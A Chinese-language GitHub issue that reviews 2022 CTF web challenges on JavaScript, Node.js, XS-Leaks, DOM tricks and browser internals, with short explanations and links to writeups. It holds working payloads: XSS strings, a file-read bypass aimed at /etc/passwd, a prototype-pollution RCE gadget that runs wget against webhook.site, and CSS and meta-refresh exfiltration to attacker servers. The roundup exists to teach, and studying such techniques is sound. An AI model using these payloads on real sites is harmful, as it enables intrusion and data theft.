Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

2022 年 CTF Web 前端與 JS 題總結 #132

Open
aszx87410 opened this issue Dec 26, 2022 · 0 comments
Open

2022 年 CTF Web 前端與 JS 題總結 #132

aszx87410 opened this issue Dec 26, 2022 · 0 comments
Labels
Security Security

Comments

@aszx87410
Copy link
Owner

今年認真跟著 Water Paddler 打了一整年的 CTF,看到有人整理出了一篇 CTF: Best Web Challenges 2022,發現裡面的題目大多數我都有打過,就想說那不如我來寫一篇整理吧,整理一下我自己打過覺得有學到新東西的題目。

因為個人興趣,所以會特別記下來的題目都跟前端與 JS 相關,像是其他有關於後端(PHP、Java 等等)的我就沒記了。

另外,這題有紀錄到的技巧或解法不代表第一次出現在 CTF 上,只是我第一次看到或是覺得值得紀錄,就會寫下來。

我把題目分成幾個類別:

  1. JS 相關知識
  2. Node.js 相關
  3. XSLeaks
  4. 前端 DOM/BOM 相關知識
  5. 瀏覽器內部運作相關

JS 相關知識

DiceCTF 2022 - no-cookies

這題的重點在於有一段程式碼的概念大概是這樣:

{
  const pwd = prompt('input password')
  if (!/^[^$']+$/.test(pwd)) return
  document.querySelector('.note').innerHTML = xssPayload
}

最後一行你有一個 DOM-based XSS,但你要偷的 pwd 是在 block 裡面,怎麼想都不可能存取到這一段。

而關鍵是那個看似不起眼的 RegExp,有個神奇的屬性叫做 RegExp.input 會把上次 test 的東西記起來,因此拿這個就可以拿到 pwd。

詳細 writeup:https://blog.huli.tw/2022/02/08/what-i-learned-from-dicectf-2022/#webno-cookies5-solves

PlaidCTF 2022 - YACA

題目核心概念類似這樣(不過我記得是非預期解就是了):

var tmpl = '<input type="submit" value="{{value}}">'
var value = prompt('your payload')
value = value.replace(/[>"]/g, '')
tmpl = tmpl.replace('{{value}}', value)
document.body.innerHTML = tmpl

>" 都被取代掉了,看似不可能跳脫出屬性,但重點是 tmpl replace 的參數是可以控制的,此時可以利用 special replacement pattern 來找回你的 tag:

var tmpl = '<input type="submit" value="{{value}}">'
var value = "$'<style onload=alert(1) "
value = value.replace(/[>"]/g, '')
tmpl = tmpl.replace('{{value}}', value)
console.log(tmpl)
// <input type="submit" value=""><style onload=alert(1) ">

完整 writeup:https://blog.huli.tw/2022/04/14/javascript-string-regexp-magic/

ångstromCTF 2022 - CaaSio PSE

簡單來說就是用 with() 來繞過不能用 . 的限制

完整 writeup:https://blog.huli.tw/2022/05/05/angstrom-ctf-2022-writeup/#misccaasio-pse

GoogleCTF 2022 - HORKOS

這題我會稱之為「JS 反序列化」,簡單來說就是 JS 裡面也有一些 magic method,會偷偷被執行到。

例如說你在 async function return 一個東西時,如果這個東西是 Promise,就會先解析完才回傳,所以 then 就會偷偷被呼叫到。

同理,一些隱式的型別轉換也會呼叫到 toString 或是 valueOf,轉成 JSON 時也會呼叫 toJSON 之類的。

完整 writeup:https://blog.huli.tw/2022/07/09/google-ctf-2022-writeup/#horkos-10-solves

corCTF 2022 - sbxcalc

var p = new Proxy({flag: window.flag || 'flag'}, {
  get: () => 'nope'
})

要如何拿到被 Proxy 保護住的原始物件?

答案是 Object.getOwnPropertyDescriptor(p, 'flag')

writeup:
https://blog.huli.tw/2022/12/08/ctf-js-notes/#corctf-2022-sbxcalc

Node.js 相關

DiceCTF 2022 - undefined

這題核心大概是這樣:

Function.prototype.constructor = undefined;
delete global.global;
process = undefined;
{
  let Array=undefined;let __dirname=undefined;let Int8Array=undefined;
  // ... 省略一大堆 undefined
  
  console.log(eval(input));
}

基本上就是先把所有東西變成 undefined,最後會用 eval 執行你傳進去的程式碼。雖然你可以跑任何東西,但因為所有東西都變成 undefined 了,你沒什麼能做的。

解法有三個:

  1. import(),這個沒被刪掉
  2. arguments.callee.caller.arguments 可以拿到上層被覆蓋掉的 arguments(Node.js 自動幫你包的一層)
  3. 用 try catch 可以拿到 Error 的 instance

詳細 writeup: https://blog.huli.tw/2022/02/08/what-i-learned-from-dicectf-2022/#miscundefined55-solves

corCTF 2022 - simplewaf

這題的核心是這樣:

if([req.body, req.headers, req.query].some(
    (item) => item && JSON.stringify(item).includes("flag")
)) {
    return res.send("bad hacker!");
}
res.send(fs.readFileSync(req.query.file || "index.html").toString());

你可以控制 req.query.file 但是不能包含 flag 這個字,目標是讀到 /app/flag.txt 這個檔案。

這題需要去看 fs.readFileSync 的內部實作,會發現可以傳入一個長得很像 URL instance 的物件,就會用 new URL() 去讀,就可以用 URL encode 繞過了:

const fs = require('fs')

console.log(fs.readFileSync({
  href: 1,
  origin: 1,
  protocol: 'file:',
  hostname: '',
  pathname: '/etc/passw%64'
}).toString())
// 等同於 readFileSync(new URL("file:///etc/passw%64"))

作者 writeup:https://brycec.me/posts/corctf_2022_challenges#simplewaf

Balsn CTF 2022 - 2linenodejs

程式碼核心長這樣:

#!/usr/local/bin/node
process.stdin.setEncoding('utf-8');
process.stdin.on('readable', () => {
  try{
    console.log('HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Close\n');
    const json = process.stdin.read().match(/\?(.*?)\ /)?.[1],
    obj = JSON.parse(json);
    console.log(`JSON: ${json}, Object:`, require('./index')(obj, {}));
  }catch (e) {
    require('./usage')
  }finally{
    process.exit();
  }
});

// index
module.exports=(O,o) => (
    Object.entries(O).forEach(
        ([K,V])=>Object.entries(V).forEach(
            ([k,v])=>(o[K]=o[K]||{},o[K][k]=v)
        )
    ), o
);

有一個很明顯的 prototype pollution,要做到 RCE。

這邊有一篇很棒的論文可以參考:Silent Spring: Prototype Pollution Leads to Remote Code Execution in Node.js

但論文裡面提到的 gadget 被修掉了,要自己再找一個,結果如下:

Object.prototype["data"] = {
  exports: {
    ".": "./preinstall.js"
  },
  name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
  "NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
  "NODE_OPTIONS": "--require=/proc/self/environ"
}

require('./usage.js')

細節可以看完整 writeup:https://blog.huli.tw/2022/12/08/ctf-js-notes#balsn-ctf-2022-2linenodejs

XSleaks

DiceCTF 2022 - carrot

這題簡單來說就是利用 connection pool 來測量 response time。

你可能會想說測量 response time 有什麼難的,fetch 外加自己算一下不就好了嗎?但如果有 SameSite cookie 的話,fetch 是無法使用的,這時候就需要用到一些 XSleaks 的小技巧來測量時間。

在 Chrome 裡面 socket 數量是有上限的,一般是 255,headless 是 99,假設我們先把 socket 消耗到只剩下一個,這時候我去造訪我想測量時間的 URL(叫做 reqSearch),與此同時發另一個 request 到我們自己的 server(叫做 reqMeasure)。

由於 socket 只剩一個,所以 reqMeasure 從發出 request 到收到 response 的時間,就是 reqSearch 花的時間 + reqMeasure 花的時間,假設 reqMeasure 花的時間都差不多,那我們很容易可以測量出 reqSearch 花的時間。

詳細 writeup:https://blog.huli.tw/2022/02/08/what-i-learned-from-dicectf-2022/#webcarrot1-solves

TSJ CTF 2022 - Nim Notes

這題你可以做到 CRLF injection,但是位置在最底下,所以沒辦法覆蓋 CSP 也無法 XSS,要怎麼偷到頁面的內容?

假設要偷的內容在 <script> 裡面,可以利用 Content-Security-Policy-Report-Only 這個 header,因為違反規時會發送一段 JSON 到指定位置,其中會包含 scripe 的前 40 個字元。

完整 writeup:https://blog.huli.tw/2022/03/02/tsj-ctf-2022-nim-notes/

ångstromCTF 2022 - Sustenance

有一個搜尋功能,成功跟失敗的差別在於網址不同。

例如說成功是:/?m=your search...at 1651732982748 has success....,失敗是:/?m=your search...at 1651732982748 has failed

解法兩個,一個是利用 response 會 cache 的這點用 fetch 去測量是否有在 cache 內。雖然說 Chrome 有實裝 Cache parition 了,但是 headless 還沒。

第二個是利用其他 same site domain 做 cookie tossing,就可以構造出一個 cookie bomb,當搜尋成功的時候 payload 會太大(因為網址多了幾個字元),失敗的時候就沒事,藉此測量出差異。

完整 writeup:https://blog.huli.tw/2022/05/05/angstrom-ctf-2022-writeup/#websustenance

justCTF 2022 - Ninja

新的 xsleak,利用 :target 搭配 :before 來載入圖片。

細節可參考:New technique of stealing data using CSS and Scroll-to-Text Fragment feature.

完整 writeup:https://blog.huli.tw/2022/06/14/justctf-2022-writeup#ninja1-solves

SekaiCTF 2022 - safelist

利用 lazy-loading image 發 request 給 server 來拖慢 server 速度,就可以藉由 timing attack 得知圖片是否載入。

也可以利用前面提到的 connection pool 或是其他元素來解。

writeup:https://blog.huli.tw/2022/10/08/sekaictf2022-safelist-and-connection/

前端 DOM/BOM 相關知識

DiceCTF 2022 - shadow

這題的核心在於如何拿到 shadowDOM 裡的東西,更完整的研究在這:The Closed Shadow DOM

但總之最後的解法是:

  1. 設置 CSS -webkit-user-modify 屬性,效果跟 contenteditable 差不多
  2. window.find 去 docus 內容
  3. 利用 document.execCommand 插入 HTML,並用 svg 拿到節點

詳細 writeup:https://blog.huli.tw/2022/02/08/what-i-learned-from-dicectf-2022/#webshadow0-solves

LINE CTF 2022 - Haribote Secure Note

這題有兩個注入點,第一個在 script 裡面,可以控制 16 個字元,第二個則是 HTML injection,而最大的問題是 CSP 很嚴格:

<meta content="default-src 'self'; style-src 'unsafe-inline'; object-src 'none'; base-uri 'none'; script-src 'nonce-{{ csp_nonce }}'
    'unsafe-inline'; require-trusted-types-for 'script'; trusted-types default"
          http-equiv="Content-Security-Policy">

解法有三個:

  1. 神奇的 script data double escaped state
  2. import() 不會被 Trusted Types 擋住
  3. <iframe src='/p'> 在其他頁面執行程式碼繞過 CSP

順便附上一篇很棒的文章:Eliminating XSS from WebUI with Trusted Types

完整 writeup:https://blog.huli.tw/2022/03/27/linectf-2022-writeup/#haribote-secure-note7-solves

m0leCon CTF 2022 - ptMD

利用 meta 組合技洩漏網址:

<meta name="referrer" content="unsafe-url" />
<meta http-equiv="refresh" content="3;url=https://webhook.site/d485f13a-fd8b-4cfd-ad13-63d9b0f1f5ef" />

在 CSP 很嚴格的狀態下,meta 可以作為一個突破的技巧。像上面這些 meta 不用放在 head 裡面也有作用,甚至移除掉之後也有用。

完整 writeup:https://blog.huli.tw/2022/05/21/m0lecon-ctf-2022-writeup#ptmd

corCTF 2022 - modernblog

這題是一個 React app,會用 dangerouslySetInnerHTML render 你的東西,也就是說你得到一個 HTML injection。

但 CSP 不讓你執行 script:script-src 'self'; object-src 'none'; base-uri 'none';

你要偷的是有 flag ID 的網址,這個網址會出現在 /home 頁面,如果我們可以在那個頁面做 CSS injection,就可以這樣偷:

a[href^="/post/0"] {
  background: url(//myserver?c=0);
}

a[href^="/post/1"] {
  background: url(//myserver?c=1);
}

// ...

而我們現在在的是 /posts/:id 頁面,所以沒辦法拿到 /home 頁面的內容,自然也就不能這樣做。

這題的關鍵點是一個很有趣的 DOM clobbering 應用,現在 React app 基本上都是用 react-router 這個 lib 來做路由的,這個 lib 裡面會去拿 document.defaultView.history,去看網址是什麼,來決定 render 哪個頁面。

document.defaultView 可以被 DOM clobbering 影響,像這樣:

<iframe name=defaultView src=/home></iframe>

如此一來,document.defaultView.history 就變成了 /home,因此,我們只要用 iframe srcdoc 就可以在 React app 裡面再渲染一個 React app,並且用前面提過的 CSS injection 把 flag id 拿出來:

<iframe srcdoc="
  <iframe name=defaultView src=/home></iframe><br>
  <style>
    a[href^="/post/0"] {
      background: url(//myserver?c=0);
    }

    a[href^="/post/1"] {
      background: url(//myserver?c=1);
    }
  
  </style>

  react app below<br>
  <div id=root></div>
  <script type=module crossorigin src=/assets/index.7352e15a.js></script>
" height="1000px" width="500px"></iframe>

我之前寫過的英文 writeup:https://blog.huli.tw/2022/08/21/en/corctf-2022-modern-blog-writeup/

HITCON CTF 2022 - Self Destruct Message

原本在用 element.innerHTML = str 的時候都是非同步的,但利用神奇的 <svg><svg> 即可做到同步:

const div = document.createElement('div')
div.innerHTML = '<svg><svg onload=console.log(1)>'
console.log(2)

會先輸出 1 再來 2,而且不用插到 DOM 就會生效。

相關討論可以看:https://twitter.com/terjanq/status/1421093136022048775

writeup:https://blog.huli.tw/2022/12/08/ctf-js-notes/#hitcon-ctf-2022

SekaiCTF 2022 - Obligatory Calc

兩個重點:

  1. onmessage 裡面的 e.source 是發送訊息的來源 window,雖然乍看之下一定是物件,但如果 postMessage 之後立刻關閉,就會變成 null
  2. 在 sandbox iframe 底下,存取 document.cookie 會發生錯誤

瀏覽器內部運作相關

GoogleCTF 2022 - POSTVIEWER

這題跟瀏覽器在執行東西時的順序有關,也跟 site isolation 之類的有關,透過這些東西就可以構造出一個 iframe 相關的 race condition。

完整 writeup:https://blog.huli.tw/2022/07/09/google-ctf-2022-writeup/#postviewer-10-solves

UIUCTF 2022 - modernism

程式碼很簡單:

from flask import Flask, Response, request
app = Flask(__name__)

@app.route('/')
def index():
    prefix = bytes.fromhex(request.args.get("p", default="", type=str))
    flag = request.cookies.get("FLAG", default="uiuctf{FAKEFLAG}").encode() #^uiuctf{[A-Za-z]+}$
    return Response(prefix+flag, mimetype="text/plain")

把你給的東西加上 flag 之後輸出,雖然 mime type 是 text/plain,但因為沒有加上 X-Content-Type-Options: nosniff,所以還是可以用 <script> 來載入這一段。

但因為 flag 裡面有 {} 所以沒辦法輕易弄成可以被執行的腳本(會一直出現 syntax error)

解法是前面加上 BOM,瀏覽器就會把整個腳本用 UTF-16 去讀,flag 就會變奇怪的中文字就不會壞了,要放的內容是 ++window.,接著去看 window 的哪個屬性被改變就好了。

這題的解法基本上要知道瀏覽器怎麼去讀才能解。

完整 writeup:https://blog.huli.tw/2022/08/01/uiuctf-2022-writeup/

UIUCTF 2022 - precisionism

上一題的延伸,只是結尾加上了Enjoy your flag!,因為這個結尾所以上面提過的招數不能用了。

預期解法是把 response 弄成 ICO 格式,把要 leak 的部分放到 width 去,然後 cross origin 拿圖片寬度是可以的,就可以一個 byte 一個 byte 把資料拿出來。

完整 writeup:https://blog.huli.tw/2022/08/01/uiuctf-2022-writeup#precisionism3-solves

SECCON CTF 2022 Quals - spanote

這題利用了 bfcache 這個東西:https://web.dev/i18n/en/bfcache/

假設有個 API 長這樣:

fastify.get("/api/notes/:noteId", async (request, reply) => {
  const user = new User(request.session.userId);
  if (request.headers["x-token"] !== hash(user.id)) {
    throw new Error("Invalid token");
  }
  const noteId = validate(request.params.noteId);
  return user.sendNote(reply, noteId);
});

雖然是個 GET,但是會檢查 custom header,因此照理來說直接用瀏覽器訪問是看不了的。

但利用 bfcache,可以這樣解:

  1. 用瀏覽器打開 /api/notes/id,出現錯誤畫面
  2. 用同一個 tab 去到首頁,此時首頁會用 fetch 搭配 custom header 去抓 /api/notes/id,瀏覽器會把結果存在 disk cache 內
  3. 上一頁,此時畫面會顯示 disk cache 的結果

就可以用瀏覽器直接瀏覽 cached response,繞過了 custom header 的限制。

完整 writeup:https://blog.huli.tw/2022/12/08/ctf-js-notes/#seccon-ctf-2022-quals-spanote

特別加映:人物介紹

原本就有幾個人令我印象特別深刻,想說既然都整理了題目,順便整理一下這些人好了。

第一位是 Ankur Sundara,隸屬於 dicegang 戰隊,上面 UIUCTF 的題目是他出的,之前解了一題跟 content type 有關的題目也是他出的,感覺應該是把 Chromium source code 相關部分看了一遍才產出那些題目。

另外這篇對 Shadow DOM 的研究也是他寫的:The Closed Shadow DOM

第二位是 terjanq,在 Google 上班,上面講到的 GoogleCTF race condition 那題是他出的,以前也出過一堆經典題目,XSleak wiki 是他維護的,總覺得在跟瀏覽器有關的行為這塊沒什麼他不會的...

偶爾會跟著 justCatTheFish 戰隊一起打 CTF,如果有些前端 Web 題只有一兩隊解出來,高機率 justCatTheFish 是其中一隊。

第三位是 strellic,也來自於 dicegang,出了一堆題目而且品質都很好,writeup 也寫得很詳細,從他那邊學到很多技巧跟新的想法,總是能結合以前的技巧然後發展出新的手法,真的很厲害。

除了這些當然還有其他印象深刻的人,但就懶得一一介紹了XD

像是開頭提到的文章作者 @arkark_、出了讓我到現在還驚艷的一題的 @zwad3、解出難題的常客 @parrot409 以及 @maple3142,都很常看到他們活躍在 CTF 中。

總結

整理過後發現自己還打過滿多題目的(雖然很多都沒解出來就是了),而有些題目雖然概念不難,但要實作起來也是滿麻煩的。

另外,可以發現有不少題目需要去看到 lib 的 source code 才有辦法解,我個人是滿喜歡這種題目的,就有種 real world 的感覺吧,平時在用的東西但你其實不知道它背後是怎麼運作的,藉由 CTF 強迫你去理解它。雖然與 Web 無關,但今年也出現了兩三次跟 Git 有關的題目,也都是需要去理解 Git 背後的運作才能解。

今年學到了很多以前完全不知道的技巧,覺得自己對於 JS 跟瀏覽器的理解又上升了一點,但可以預見的是明年一定還是被電,還是會出現更多以前不知道的東西。

最後也要感謝一下每個出題者,是因為有這些出題者藉由題目分享自己的研究,才能讓其他人學到這些新穎的技巧。我自己認為出一個好的題目比解題還要難,解題的話你知道一定會有答案在那邊,只要找到答案就好。而出題如果要出的好,你要自己先去發現一個新的東西,這個真的難,再次對每個出題者致上敬意。

@aszx87410 aszx87410 added the Security Security label Dec 26, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Security Security
Projects
None yet
Development

No branches or pull requests

1 participant